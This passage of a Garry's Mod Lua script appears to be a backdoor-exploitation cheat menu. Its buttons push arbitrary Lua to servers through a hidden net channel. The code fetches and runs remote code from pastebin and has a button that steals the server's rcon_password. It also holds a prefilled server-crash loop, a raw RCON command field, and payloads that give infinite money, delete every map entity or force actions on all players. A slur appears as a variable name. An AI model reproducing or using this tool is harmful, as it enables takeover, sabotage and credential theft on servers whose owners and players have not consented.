  2080. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/6q1X9cGX\",function(b,l,h,c)RunString(b)end,nil)" )
  2081. net.WriteBit(1)
  2082. net.SendToServer()
  2083. end
  2084. local zilnixestbo15 = vgui.Create("DButton", DScrollPanel)
  2085. zilnixestbo15:SetSize( 350, 20 )
  2086. zilnixestbo15:SetPos( 100, 400 )
  2087. zilnixestbo15:SetText("Give 10000000000€ a tous le monde a l'infini")
  2088. zilnixestbo15:SetTextColor(Color(255, 255, 255, 255))
  2089. zilnixestbo15.Paint = function(panel, w, h)
  2090. surface.SetDrawColor(255, 255, 255 ,255)
  2091. surface.DrawOutlinedRect(0, 0, w, h)
  2092. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2093. surface.DrawRect(0, 0, w, h)
  2094. end
  2095. zilnixestbo15.DoClick = function()
  2096. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2097. net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent10\", 0.1, 0, function() v:addMoney(10000000000) end) end" )
  2098. net.WriteBit(1)
  2099. net.SendToServer()
  2100. end
  2101. local zilnixestbo16 = vgui.Create("DButton", DScrollPanel)
  2102. zilnixestbo16:SetSize( 350, 20 )
  2103. zilnixestbo16:SetPos( 100, 425 )
  2104. zilnixestbo16:SetText("Voler le rcon_password")
  2105. zilnixestbo16:SetTextColor(Color(255, 255, 255, 255))
  2106. zilnixestbo16.Paint = function(panel, w, h)
  2107. surface.SetDrawColor(255, 255, 255 ,255)
  2108. surface.DrawOutlinedRect(0, 0, w, h)
  2109. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2110. surface.DrawRect(0, 0, w, h)
  2111. end
  2112. zilnixestbo16.DoClick = function()
  2113. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2114. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/ZwFkRHvQ\",function(b,l,h,c)RunString(b)end,nil)" )
  2115. net.WriteBit(1)
  2116. net.SendToServer()
  2117. timer.Simple( 0.5, function()
  2118. if FAUCHEUSE.ValidNetString( "jeveuttonrconleul" ) then
  2119. net.Start("jeveuttonrconleul")
  2120. net.SendToServer()
  2121. else
  2122. chat.AddText( Color(255, 0, 0),"rcon_password pas trouvé, veuillez réessayer ^^" )
  2123. end
  2124. end)
  2125. end
  2126. local zilnixestbo17 = vgui.Create("DButton", DScrollPanel)
  2127. zilnixestbo17:SetSize( 350, 20 )
  2128. zilnixestbo17:SetPos( 100, 450 )
  2129. zilnixestbo17:SetText("☢ Supprimer Toutes les Entité ☢")
  2130. zilnixestbo17:SetTextColor(Color(255, 255, 255, 255))
  2131. zilnixestbo17.Paint = function(panel, w, h)
  2132. surface.SetDrawColor(255, 255, 255 ,255)
  2133. surface.DrawOutlinedRect(0, 0, w, h)
  2134. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2135. surface.DrawRect(0, 0, w, h)
  2136. end
  2137. zilnixestbo17.DoClick = function()
  2138. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2139. net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
  2140. net.WriteBit(1)
  2141. net.SendToServer()
  2142. end
  2143. local zilnixestbo18 = vgui.Create("DButton", DScrollPanel)
  2144. zilnixestbo18:SetSize( 350, 20 )
  2145. zilnixestbo18:SetPos( 100, 500 )
  2146. zilnixestbo18:SetText("Faire danser tous le monde")
  2147. zilnixestbo18:SetTextColor(Color(255, 255, 255, 255))
  2148. zilnixestbo18.Paint = function(panel, w, h)
  2149. surface.SetDrawColor(255, 255, 255 ,255)
  2150. surface.DrawOutlinedRect(0, 0, w, h)
  2151. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2152. surface.DrawRect(0, 0, w, h)
  2153. end
  2154. zilnixestbo18.DoClick = function()
  2155. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2156. net.WriteString("for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create(\"dance_loop\",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )")
  2157. net.WriteBit(1)
  2158. net.SendToServer()
  2159. end
  2160. local zilnixestbo19 = vgui.Create("DButton", DScrollPanel)
  2161. zilnixestbo19:SetSize( 350, 20 )
  2162. zilnixestbo19:SetPos( 100, 525 )
  2163. zilnixestbo19:SetText("Shy Kid I Don't Want To Die")
  2164. zilnixestbo19:SetTextColor(Color(255, 255, 255, 255))
  2165. zilnixestbo19.Paint = function(panel, w, h)
  2166. surface.SetDrawColor(255, 255, 255 ,255)
  2167. surface.DrawOutlinedRect(0, 0, w, h)
  2168. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2169. surface.DrawRect(0, 0, w, h)
  2170. end
  2171. zilnixestbo19.DoClick = function()
  2172. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2173. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/shykid.mp3\", \"mono\", function()end )]])")
  2174. net.WriteBit(1)
  2175. net.SendToServer()
  2176. end
  2177. local zilnixestbo20 = vgui.Create("DButton", DScrollPanel)
  2178. zilnixestbo20:SetSize( 350, 20 )
  2179. zilnixestbo20:SetPos( 100, 550 )
  2180. zilnixestbo20:SetText("GunGaleOnline")
  2181. zilnixestbo20:SetTextColor(Color(255, 255, 255, 255))
  2182. zilnixestbo20.Paint = function(panel, w, h)
  2183. surface.SetDrawColor(255, 255, 255 ,255)
  2184. surface.DrawOutlinedRect(0, 0, w, h)
  2185. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2186. surface.DrawRect(0, 0, w, h)
  2187. end
  2188. zilnixestbo20.DoClick = function()
  2189. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2190. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/GunGaleOnline.mp3\", \"mono\", function()end )]])")
  2191. net.WriteBit(1)
  2192. net.SendToServer()
  2193. end
  2194. local zilnixestbo21 = vgui.Create("DButton", DScrollPanel)
  2195. zilnixestbo21:SetSize( 350, 20 )
  2196. zilnixestbo21:SetPos( 100, 575 )
  2197. zilnixestbo21:SetText("Mother Rosario")
  2198. zilnixestbo21:SetTextColor(Color(255, 255, 255, 255))
  2199. zilnixestbo21.Paint = function(panel, w, h)
  2200. surface.SetDrawColor(255, 255, 255 ,255)
  2201. surface.DrawOutlinedRect(0, 0, w, h)
  2202. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2203. surface.DrawRect(0, 0, w, h)
  2204. end
  2205. zilnixestbo21.DoClick = function()
  2206. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2207. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/MotherRosario.mp3\", \"mono\", function()end )]])")
  2208. net.WriteBit(1)
  2209. net.SendToServer()
  2210. end
  2211. local zilnixestbo22 = vgui.Create("DButton", DScrollPanel)
  2212. zilnixestbo22:SetSize( 350, 20 )
  2213. zilnixestbo22:SetPos( 100, 600 )
  2214. zilnixestbo22:SetText("Alfheim Online")
  2215. zilnixestbo22:SetTextColor(Color(255, 255, 255, 255))
  2216. zilnixestbo22.Paint = function(panel, w, h)
  2217. surface.SetDrawColor(255, 255, 255 ,255)
  2218. surface.DrawOutlinedRect(0, 0, w, h)
  2219. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2220. surface.DrawRect(0, 0, w, h)
  2221. end
  2222. zilnixestbo22.DoClick = function()
  2223. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2224. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/SAO2.mp3\", \"mono\", function()end )]])")
  2225. net.WriteBit(1)
  2226. net.SendToServer()
  2227. end
  2228. local zilnixestbo23 = vgui.Create("DButton", DScrollPanel)
  2229. zilnixestbo23:SetSize( 350, 20 )
  2230. zilnixestbo23:SetPos( 100, 625 )
  2231. zilnixestbo23:SetText("Sword Art Online")
  2232. zilnixestbo23:SetTextColor(Color(255, 255, 255, 255))
  2233. zilnixestbo23.Paint = function(panel, w, h)
  2234. surface.SetDrawColor(255, 255, 255 ,255)
  2235. surface.DrawOutlinedRect(0, 0, w, h)
  2236. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2237. surface.DrawRect(0, 0, w, h)
  2238. end
  2239. zilnixestbo23.DoClick = function()
  2240. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2241. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/SAOOpening.mp3\", \"mono\", function()end )]])")
  2242. net.WriteBit(1)
  2243. net.SendToServer()
  2244. end
  2245. local zilnixestbo24 = vgui.Create("DButton", DScrollPanel)
  2246. zilnixestbo24:SetSize( 350, 20 )
  2247. zilnixestbo24:SetPos( 100, 650 )
  2248. zilnixestbo24:SetText("Break Beat Bark")
  2249. zilnixestbo24:SetTextColor(Color(255, 255, 255, 255))
  2250. zilnixestbo24.Paint = function(panel, w, h)
  2251. surface.SetDrawColor(255, 255, 255 ,255)
  2252. surface.DrawOutlinedRect(0, 0, w, h)
  2253. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2254. surface.DrawRect(0, 0, w, h)
  2255. end
  2256. zilnixestbo24.DoClick = function()
  2257. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2258. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/SAOBreakBeatBark.mp3\", \"mono\", function()end )]])")
  2259. net.WriteBit(1)
  2260. net.SendToServer()
  2261. end
  2262. local zilnixestbo25 = vgui.Create("DButton", DScrollPanel)
  2263. zilnixestbo25:SetSize( 350, 20 )
  2264. zilnixestbo25:SetPos( 100, 675 )
  2265. zilnixestbo25:SetText("Tule")
  2266. zilnixestbo25:SetTextColor(Color(255, 255, 255, 255))
  2267. zilnixestbo25.Paint = function(panel, w, h)
  2268. surface.SetDrawColor(255, 255, 255 ,255)
  2269. surface.DrawOutlinedRect(0, 0, w, h)
  2270. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2271. surface.DrawRect(0, 0, w, h)
  2272. end
  2273. zilnixestbo25.DoClick = function()
  2274. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2275. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/Tule.mp3\", \"mono\", function()end )]])")
  2276. net.WriteBit(1)
  2277. net.SendToServer()
  2278. end
  2279. local zilnixestbo26 = vgui.Create("DButton", DScrollPanel)
  2280. zilnixestbo26:SetSize( 350, 20 )
  2281. zilnixestbo26:SetPos( 100, 700 )
  2282. zilnixestbo26:SetText("Martin Garrix Wi")
  2283. zilnixestbo26:SetTextColor(Color(255, 255, 255, 255))
  2284. zilnixestbo26.Paint = function(panel, w, h)
  2285. surface.SetDrawColor(255, 255, 255 ,255)
  2286. surface.DrawOutlinedRect(0, 0, w, h)
  2287. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2288. surface.DrawRect(0, 0, w, h)
  2289. end
  2290. zilnixestbo26.DoClick = function()
  2291. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2292. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/wi.mp3\", \"mono\", function()end )]])")
  2293. net.WriteBit(1)
  2294. net.SendToServer()
  2295. end
  2296. local zilnixestbo27 = vgui.Create("DButton", DScrollPanel)
  2297. zilnixestbo27:SetSize( 350, 20 )
  2298. zilnixestbo27:SetPos( 100, 725 )
  2299. zilnixestbo27:SetText("SwordLand")
  2300. zilnixestbo27:SetTextColor(Color(255, 255, 255, 255))
  2301. zilnixestbo27.Paint = function(panel, w, h)
  2302. surface.SetDrawColor(255, 255, 255 ,255)
  2303. surface.DrawOutlinedRect(0, 0, w, h)
  2304. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2305. surface.DrawRect(0, 0, w, h)
  2306. end
  2307. zilnixestbo27.DoClick = function()
  2308. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2309. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/swordland.mp3\", \"mono\", function()end )]])")
  2310. net.WriteBit(1)
  2311. net.SendToServer()
  2312. end
  2313. local zilnixestbo28 = vgui.Create("DButton", DScrollPanel)
  2314. zilnixestbo28:SetSize( 350, 20 )
  2315. zilnixestbo28:SetPos( 100, 750 )
  2316. zilnixestbo28:SetText("Ordinal Scale")
  2317. zilnixestbo28:SetTextColor(Color(255, 255, 255, 255))
  2318. zilnixestbo28.Paint = function(panel, w, h)
  2319. surface.SetDrawColor(255, 255, 255 ,255)
  2320. surface.DrawOutlinedRect(0, 0, w, h)
  2321. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2322. surface.DrawRect(0, 0, w, h)
  2323. end
  2324. zilnixestbo28.DoClick = function()
  2325. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2326. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/Ordinalscale.mp3\", \"mono\", function()end )]])")
  2327. net.WriteBit(1)
  2328. net.SendToServer()
  2329. end
  2330. local zilnixestbo29 = vgui.Create("DButton", DScrollPanel)
  2331. zilnixestbo29:SetSize( 350, 20 )
  2332. zilnixestbo29:SetPos( 100, 775 )
  2333. zilnixestbo29:SetText("Question Assassination Classroom")
  2334. zilnixestbo29:SetTextColor(Color(255, 255, 255, 255))
  2335. zilnixestbo29.Paint = function(panel, w, h)
  2336. surface.SetDrawColor(255, 255, 255 ,255)
  2337. surface.DrawOutlinedRect(0, 0, w, h)
  2338. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2339. surface.DrawRect(0, 0, w, h)
  2340. end
  2341. zilnixestbo29.DoClick = function()
  2342. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2343. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/Question.mp3\", \"mono\", function()end )]])")
  2344. net.WriteBit(1)
  2345. net.SendToServer()
  2346. end
  2347.  
  2348. local zilnixestbo29 = vgui.Create("DButton", DScrollPanel)
  2349. zilnixestbo29:SetSize( 350, 20 )
  2350. zilnixestbo29:SetPos( 100, 800 )
  2351. zilnixestbo29:SetText("Musique Epic Assassination Classroom")
  2352. zilnixestbo29:SetTextColor(Color(255, 255, 255, 255))
  2353. zilnixestbo29.Paint = function(panel, w, h)
  2354. surface.SetDrawColor(255, 255, 255 ,255)
  2355. surface.DrawOutlinedRect(0, 0, w, h)
  2356. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2357. surface.DrawRect(0, 0, w, h)
  2358. end
  2359. zilnixestbo29.DoClick = function()
  2360. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2361. net.WriteString("BroadcastLua([[sound.PlayURL( \"http://zilnix.mtxserv.fr/Zilnix/EpicAssassin.mp3\", \"mono\", function()end )]])")
  2362. net.WriteBit(1)
  2363. net.SendToServer()
  2364. end
  2365. local zilnixestbo30 = vgui.Create("DButton", DScrollPanel)
  2366. zilnixestbo30:SetSize( 350, 20 )
  2367. zilnixestbo30:SetPos( 100, 825 )
  2368. zilnixestbo30:SetText("Faire rire tous le monde")
  2369. zilnixestbo30:SetTextColor(Color(255, 255, 255, 255))
  2370. zilnixestbo30.Paint = function(panel, w, h)
  2371. surface.SetDrawColor(255, 255, 255 ,255)
  2372. surface.DrawOutlinedRect(0, 0, w, h)
  2373. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2374. surface.DrawRect(0, 0, w, h)
  2375. end
  2376. zilnixestbo30.DoClick = function()
  2377. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2378. net.WriteString("for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_LAUGH) end timer.Create(\"rire_loop\",7.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_LAUGH) end end )")
  2379. net.WriteBit(1)
  2380. net.SendToServer()
  2381. end
  2382. local zilnixestbo31 = vgui.Create("DButton", DScrollPanel)
  2383. zilnixestbo31:SetSize( 350, 20 )
  2384. zilnixestbo31:SetPos( 100, 850 )
  2385. zilnixestbo31:SetText("Faire la pose du lyon pour tous le monde")
  2386. zilnixestbo31:SetTextColor(Color(255, 255, 255, 255))
  2387. zilnixestbo31.Paint = function(panel, w, h)
  2388. surface.SetDrawColor(255, 255, 255 ,255)
  2389. surface.DrawOutlinedRect(0, 0, w, h)
  2390. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2391. surface.DrawRect(0, 0, w, h)
  2392. end
  2393. zilnixestbo31.DoClick = function()
  2394. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2395. net.WriteString("for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_PERSISTENCE) end")
  2396. net.WriteBit(1)
  2397. net.SendToServer()
  2398. end
  2399. local zilnixestbo32 = vgui.Create("DButton", DScrollPanel)
  2400. zilnixestbo32:SetSize( 350, 20 )
  2401. zilnixestbo32:SetPos( 100, 875 )
  2402. zilnixestbo32:SetText("Faire saluer tous le monde")
  2403. zilnixestbo32:SetTextColor(Color(255, 255, 255, 255))
  2404. zilnixestbo32.Paint = function(panel, w, h)
  2405. surface.SetDrawColor(255, 255, 255 ,255)
  2406. surface.DrawOutlinedRect(0, 0, w, h)
  2407. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2408. surface.DrawRect(0, 0, w, h)
  2409. end
  2410. zilnixestbo32.DoClick = function()
  2411. net.Start(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2412. net.WriteString("for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_GESTURE_BOW) end")
  2413. net.WriteBit(1)
  2414. net.SendToServer()
  2415. end
  2416. local RconCommand = vgui.Create( "DTextEntry", DScrollPanel )
  2417. RconCommand:SetPos( 385, 25 )
  2418. RconCommand:SetSize( 100, 20 )
  2419. RconCommand:SetText( "hostname Owned By ReaperMenu" )
  2420. local Lancer_rcon_commande = vgui.Create("DButton", DScrollPanel )
  2421. Lancer_rcon_commande:SetSize( 103, 20 )
  2422. Lancer_rcon_commande:SetPos( 275, 25 )
  2423. Lancer_rcon_commande:SetText("RCON Command")
  2424. Lancer_rcon_commande:SetTextColor(Color(255, 255, 255, 255))
  2425. Lancer_rcon_commande.Paint = function(panel, w, h)
  2426. surface.SetDrawColor(255, 255, 255 ,255)
  2427. surface.DrawOutlinedRect(0, 0, w, h)
  2428. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2429. surface.DrawRect(0, 0, w, h)
  2430. end
  2431. Lancer_rcon_commande.DoClick = function()
  2432. local rcon_commandes_get = RconCommand:GetValue()
  2433. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2434. net.WriteString( rcon_commandes_get )
  2435. net.WriteBit(false)
  2436. net.SendToServer()
  2437. end
  2438. local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
  2439. GLUACommand:SetPos( 165, 25 )
  2440. GLUACommand:SetSize( 100, 20 )
  2441. GLUACommand:SetText( "timer.Create(\"Timerdecrash\",0.5,1,function() while true do end end)" )
  2442. local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
  2443. Lancer_glua_commande:SetSize( 103, 20 )
  2444. Lancer_glua_commande:SetPos( 50, 25 )
  2445. Lancer_glua_commande:SetText("Code LUA")
  2446. Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
  2447. Lancer_glua_commande.Paint = function(panel, w, h)
  2448. surface.SetDrawColor(255, 255, 255 ,255)
  2449. surface.DrawOutlinedRect(0, 0, w, h)
  2450. surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
  2451. surface.DrawRect(0, 0, w, h)
  2452. end
  2453. Lancer_glua_commande.DoClick = function()
  2454. local glua_commandes_get = GLUACommand:GetValue()
  2455. FAUCHEUSE.NetStart(lokiilcpasfairedeguiducoupilademanderazilnixetjesuslol)
  2456. net.WriteString( glua_commandes_get )
  2457. net.WriteBit(1)
  2458. net.SendToServer()
  2459. end
  2460. end
  2461. net.Receive( "rcon_passw_dump", function()
  2462. local rcon_pass = net.ReadString()
  2463. chat.AddText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0)," GG avec ça tu peux baiser le serveur même si il enleve la backdoor :D")
  2464. end )
  2465. net.Receive( "aucun_rcon_ici", function()
  2466. chat.AddText( Color(255, 0, 0),"Aucun rcon_password sur le serveur :/" )
  2467. end )
  2468. function FAUCHEUSE.MakePlayerSelectionButton( parent, x, y, addr )
  2469. if !parent:IsValid() then return end
  2470. local TButton = vgui.Create( "DButton" )
  2471. TButton:SetParent( parent )
  2472. TButton:SetPos( x, y + 15 )
  2473. TButton:SetFont( "TargetIDSmall" )
  2474. TButton:SetText( "Cibles" )
  2475. TButton:SetTextColor( Color(255, 255, 255, 255) )
  2476. TButton:SizeToContents()
  2477. TButton:SetTall( 26 )
  2478. TButton.Paint = function( self, w, h )
  2479. surface.SetDrawColor( Color(math.random(0,150),math.random(0,150),math.random(0,150)))
  2480. surface.DrawRect( 0, 0, w, h )
  2481. surface.SetDrawColor( Color(25, 25, 25, 255) )
  2482. surface.DrawOutlinedRect( 0, 0, w, h )
  2483. end
  2484. TButton.DoClick = function()
  2485. FAUCHEUSE.SelectPlayersPanel( addr )
  2486. end
  2487. return TButton:GetWide(), TButton:GetTall()
  2488. end
  2489. function FAUCHEUSE.SelectPlayersPanel( addr )
  2490. if FAUCHEUSE.PlayerSelector and FAUCHEUSE.PlayerSelector:IsVisible() then FAUCHEUSE.PlayerSelector:Remove() end
  2491. local plytab = FAUCHEUSE.GetStored( addr, {} )
  2492. FAUCHEUSE.PlayerSelector = vgui.Create("DFrame")
  2493. FAUCHEUSE.PlayerSelector:SetSize(250,400)
  2494. FAUCHEUSE.PlayerSelector:SetTitle("Joueur(s) Ã cibler")
  2495. FAUCHEUSE.PlayerSelector:SetPos( gui.MouseX(), gui.MouseY() )
  2496. FAUCHEUSE.PlayerSelector:MakePopup()
  2497. FAUCHEUSE.PlayerSelector.Paint = function( s, w, h )
  2498. if !FAUCHEUSE.Menu or !FAUCHEUSE.Menu:IsVisible() then s:Remove() return end
  2499. surface.SetDrawColor( Color(30, 30, 30, 125) )
  2500. surface.DrawRect( 0, 0, w, h )
  2501. surface.SetDrawColor( Color(255, 255, 255, 255) )
  2502. surface.DrawOutlinedRect( 0, 0, w, h )
  2503. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2504. end
  2505. local Plist = vgui.Create( "DPanelList", FAUCHEUSE.PlayerSelector )
  2506. Plist:SetSize( FAUCHEUSE.PlayerSelector:GetWide() - 10, FAUCHEUSE.PlayerSelector:GetTall() - 55 )
  2507. Plist:SetPadding( 5 )
  2508. Plist:SetSpacing( 5 )
  2509. Plist:EnableHorizontal( false )
  2510. Plist:EnableVerticalScrollbar( true )
  2511. Plist:SetPos( 5, 40 )
  2512. Plist:SetName( "" )
  2513. local target1 = vgui.Create("DButton", FAUCHEUSE.PlayerSelector)
  2514. target1:SetSize( 40, 20 )
  2515. target1:SetPos( 10, 23 )
  2516. target1:SetText("Tous")
  2517. target1:SetTextColor(Color(255, 255, 255, 255))
  2518. target1.Paint = function(panel, w, h)
  2519. surface.SetDrawColor(255, 255, 255 ,255)
  2520. surface.DrawOutlinedRect(0, 0, w, h)
  2521. surface.SetDrawColor(0, 0, 50 ,155)
  2522. surface.DrawRect(0, 0, w, h)
  2523. end
  2524. target1.DoClick = function()
  2525. for _, p in pairs(player.GetAll()) do
  2526. if not table.HasValue( plytab, p ) then
  2527. table.insert( plytab, p )
  2528. end
  2529. end
  2530. FAUCHEUSE.Store( addr, plytab )
  2531. end
  2532. local target2 = vgui.Create("DButton", FAUCHEUSE.PlayerSelector)
  2533. target2:SetSize( 40, 20 )
  2534. target2:SetPos( 55, 23 )
  2535. target2:SetText("Aucun")
  2536. target2:SetTextColor(Color(255, 255, 255, 255))
  2537. target2.Paint = function(panel, w, h)
  2538. surface.SetDrawColor(255, 255, 255 ,255)
  2539. surface.DrawOutlinedRect(0, 0, w, h)
  2540. surface.SetDrawColor(0, 0, 50 ,155)
  2541. surface.DrawRect(0, 0, w, h)
  2542. end
  2543. target2.DoClick = function()
  2544. table.Empty( plytab )
  2545. FAUCHEUSE.Store( addr, plytab )
  2546. end
  2547. local target3 = vgui.Create("DButton", FAUCHEUSE.PlayerSelector )
  2548. target3:SetSize( 40, 20 )
  2549. target3:SetPos( 100, 23 )
  2550. target3:SetText("Moi")
  2551. target3:SetTextColor(Color(255, 255, 255, 255))
  2552. target3.Paint = function(panel, w, h)
  2553. surface.SetDrawColor(255, 255, 255 ,255)
  2554. surface.DrawOutlinedRect(0, 0, w, h)
  2555. surface.SetDrawColor(0, 0, 50 ,155)
  2556. surface.DrawRect(0, 0, w, h)
  2557. end
  2558. target3.DoClick = function()
  2559. table.Empty( plytab )
  2560. table.insert( plytab, LocalPlayer() )
  2561. FAUCHEUSE.Store( addr, plytab )
  2562. end
  2563. local target4 = vgui.Create( "DTextEntry", FAUCHEUSE.PlayerSelector )
  2564. target4:SetPos( 145, 23 )
  2565. target4:SetSize( 95, 20 )
  2566. target4:SetText( "" )
  2567. target4.OnChange = function( self )
  2568. local nam = self:GetValue()
  2569. local namtab = string.Explode( ", ", nam )
  2570. table.Empty( plytab )
  2571. for _, pl in pairs( player.GetAll() ) do
  2572. for _, s in pairs( namtab ) do
  2573. if string.find( string.lower( pl:Nick() ), s ) then
  2574. table.insert( plytab, pl )
  2575. end
  2576. end
  2577. end
  2578. FAUCHEUSE.Store( addr, plytab )
  2579. end
  2580. for k, v in pairs( player.GetAll() ) do
  2581. local plypanel2 = vgui.Create( "DPanel" )
  2582. plypanel2:SetPos( 0, 0 )
  2583. plypanel2:SetSize( 200, 25 )
  2584. local teamcol = team.GetColor( v:Team() )
  2585. plypanel2.Paint = function( s, w, h )
  2586. if !v:IsValid() then return end
  2587. surface.SetDrawColor( Color(30, 30, 30, 245) )
  2588. surface.DrawRect( 0, 0, w, h )
  2589. surface.SetDrawColor( teamcol )
  2590. surface.DrawRect( 0, h - 3, w, 3 )
  2591. surface.SetDrawColor( Color(55, 55, 55, 245) )
  2592. surface.DrawOutlinedRect( 0, 0, w, h )
  2593. if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
  2594. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2595. end
  2596. local plyname = vgui.Create( "DLabel", plypanel2 )
  2597. plyname:SetPos( 10, 5 )
  2598. plyname:SetFont( "Trebuchet18" )
  2599. local tcol = Color( 255, 255, 255 )
  2600. if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
  2601. plyname:SetColor( tcol )
  2602. plyname:SetText( v:Nick() )
  2603. plyname:SetSize(180, 15)
  2604. local faggot = vgui.Create("DButton", plypanel2 )
  2605. faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
  2606. faggot:SetPos( 0, 0 )
  2607. faggot:SetText("")
  2608. faggot.Paint = function(panel, w, h)
  2609. return
  2610. end
  2611. faggot.DoClick = function()
  2612. if table.HasValue( plytab, v ) then
  2613. table.RemoveByValue( plytab, v )
  2614. else
  2615. table.insert( plytab, v )
  2616. end
  2617. FAUCHEUSE.Store( addr, plytab )
  2618. end
  2619. Plist:AddItem( plypanel2 )
  2620. end
  2621. end
  2622. function FAUCHEUSE.MakeTextInputButton( parent, x, y, btext, default, addr)
  2623. if !parent:IsValid() then return end
  2624. local hostframe = vgui.Create( "DPanel", parent )
  2625. hostframe:SetPos( x, y + 15 )
  2626. hostframe.Paint = function( self, w, h )
  2627. surface.SetDrawColor( Color(math.random(0,150),math.random(0,150),math.random(0,150)))
  2628. surface.DrawRect( 0, 0, w, h )
  2629. surface.SetDrawColor( Color(25, 25, 25, 255) )
  2630. surface.DrawOutlinedRect( 0, 0, w, h )
  2631. end
  2632. local tttt = vgui.Create( "DLabel", hostframe )
  2633. tttt:SetPos( 5, 5 )
